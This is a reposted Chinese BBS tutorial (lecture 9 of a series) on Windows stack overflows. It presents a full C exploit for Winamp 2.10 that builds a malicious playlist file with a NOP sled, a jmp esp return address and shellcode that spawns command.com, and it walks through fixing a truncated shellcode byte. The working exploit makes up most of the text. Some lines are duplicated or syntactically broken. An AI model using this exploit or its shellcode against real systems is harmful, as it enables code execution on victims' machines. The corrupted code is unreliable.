荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: playboy (冷冷的太阳), 信区: Program
标  题: [转载] 堆栈溢出系列讲座(9)
发信站: BBS 荔园晨风站 (Fri Feb 25 21:55:11 2000), 转信

【 以下文字转载自 Hacker 讨论区 】
【 原文由 bstone 所发表 】
发信人: ipxodi (乐乐~闭关苦攒论文中), 信区: Hacker
标  题: 堆栈溢出系列讲座(9)
发信站: BBS 水木清华站 (Thu Feb 24 10:50:11 2000)

堆栈溢出系列讲座
                window系统下的堆栈溢出----最后的完善

我们把前面写的测试程序稍加改动就是一个exploit程序:
exploit.cpp
------------------------------------------------------------------------
----
#include <stdio.h>

int main()
{


        char buffer[640];
        char eip[8] = "\xa3\x95\xf7\xBF";
        char shellcode[256] =

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"//load



"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x4
5\xFA\x2E\xC6"

"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8
D\x45\xF4\x50"
        "\xFF\x55\xF0"

"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x6
4\x2E"

"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x4
5\xF4"
        "\x50\xB8\x24\x98\x01\x78\xFF\xD0"

"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x5
0\xFF\x55\xFC";

        FILE *file;

        for(int x=0;x<580;x++)
        {
        {
        buffer[x] = 0x90;
        }

        file = fopen("crAsh.pls","wb");

        fprintf(file, "[playlist]\n");
        fprintf(file, "File1=");
        fprintf(file, "%s", buffer);
        fprintf(file, "%s", eip);
        fprintf(file, "%s", shellcode);
        fprintf(file, "\nNumberOfEntries=1");

        fclose(file);
        printf("\t created file crAsh.pls loaded with the exploit.\n");

        return 0;
}
------------------------------------------------------------------------
----

OK,运行他,生成一个文件叫做crash.pls.在winamp里面打开这个playlist,
就应该出一个dos。出来了吗?
就应该出一个dos。出来了吗?

哎呀,怎么又是错误?

WINAMP 在 017f:004200c3 的模块
 WINAMP.EXE 中导致无效页错误。
Registers:
EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=444f
EDX=005b02dc ES=0187 EDI=00000001 GS=4446
Bytes at CS:EIP:
00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b
Stack dump:
0a006da1 8000009d 0000442a 90000000 90909090 90909090
90909090 90909090 90909090 90909090 90909090 90909090
90909090 90909090 90909090 90909090

看看出错信息,EIP是4200c3,看来已经开始执行我们的shellcode了,怎么会有
无效页错误呢?看来我们的shellcode有问题。

这个时候,s-ice就又派上用场了,跟踪一下看看:
ctrl-d
ctrl-d
bpx bff795a3(就是我们的jmp esp)
x
好,现在运行winamp,打开文件crash.pls,被s-ice拦下,开始跟踪。一个jmp
esp
之后,就到了我们的shellcode上,继续执行,看到了什么吗?

奇怪!我们的shellcode变短了,到B8249801,后面就没有了。这是怎么回事?
应该是\xB8\x24\x98\x01\x78呀,\x01到什么地方去了?

看来敌人把输入的溢出字符串作乐处理,把不能作为文件名的字符都作为0处理了

(事实上这是win32api函数作的处理)。我们的shellcode被截断了。

我在第4讲第一节就说过对这种问题的对策。这个问题的解决需要我们改换
shellcode,
去掉那些有问题的字符:\x01

我们作如下替换:
mov eax,78019824        ---->           mov eax,ffffffff
                                        sub eax,87fe67db
汇编得到:


xB8\x24\x98\x01\x78     ---->           \xB8\xFF\xFF\xFF\xFF
                                        \x2d\xdB\x67\xFe\x87
得到下面的新程序:
/* Stack based buffer overflow exploit for Winamp v2.10
 * Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net
 *
 * For a detailed description on the exploit see my advisory.
 *
 * Tested with Winamp v2.10 using Windows98 on an Intel
 * PII 400 with 128MB RAM
 *
 * http://indigo.ie/~lmf

 * modify by ipxodi 20-01-2k

 * for windows98 the 2nd version and for a new shellcode.

 * windows98 v 4.10.2222.A chinese version
 * pII 366 with 64MB RAM(Not a good PC,en?)

 * ipxodi@263.net
 */
 */

#include <stdio.h>

int main()
{

        char buffer[640];
        char eip[8] =  "\xa3\x95\xf7\xbf";
        char sploit[256] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x4
5\xFA\x2E\xC6"

"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8
D\x45\xF4\x50"
        "\xFF\x55\xF0"

"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x6
4\x2E"

"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x4
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x4
5\xF4"
        "\x50\xB8\xFF\xFF\xFF\xFF\x2d\xdB\x67\xFe\x87\xFF\xD0"

"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x5
0\xFF\x55\xFC";

        FILE *file;

        for(int x=0;x<580;x++)
        {
                buffer[x] = 0x90;
        }
        buffer[x =0;
        file = fopen("crAsh.pls","wb");

        fprintf(file, "[playlist]\n");
        fprintf(file, "File1=");
        fprintf(file, "%s", buffer);
        fprintf(file, "%s", eip);
        fprintf(file, "%s", sploit);
        fprintf(file, "\nNumberOfEntries=1");

        fprintf(file, "%s", sploit);
        fclose(file);
        printf("\t created file crAsh.pls loaded with the exploit.\n");

        return 0;
}


OK,运行他,生成一个文件叫做crash.pls.在winamp里面打开这个playlist,
结果如下,我可爱的dos出来了:

Microsoft(R) Windows 98
   (C)Copyright Microsoft Corp 1981-1999.

D:\hacker\document\ipxodi>dir
.........................
........就不贴了.........
--
知足长乐

※ 来源:·BBS 水木清华站 smth.org·[FROM: 202.112.101.131]

--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.23]
--
※ 转载:·BBS 荔园晨风站 bbs.szu.edu.cn·[FROM: 192.168.1.90]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店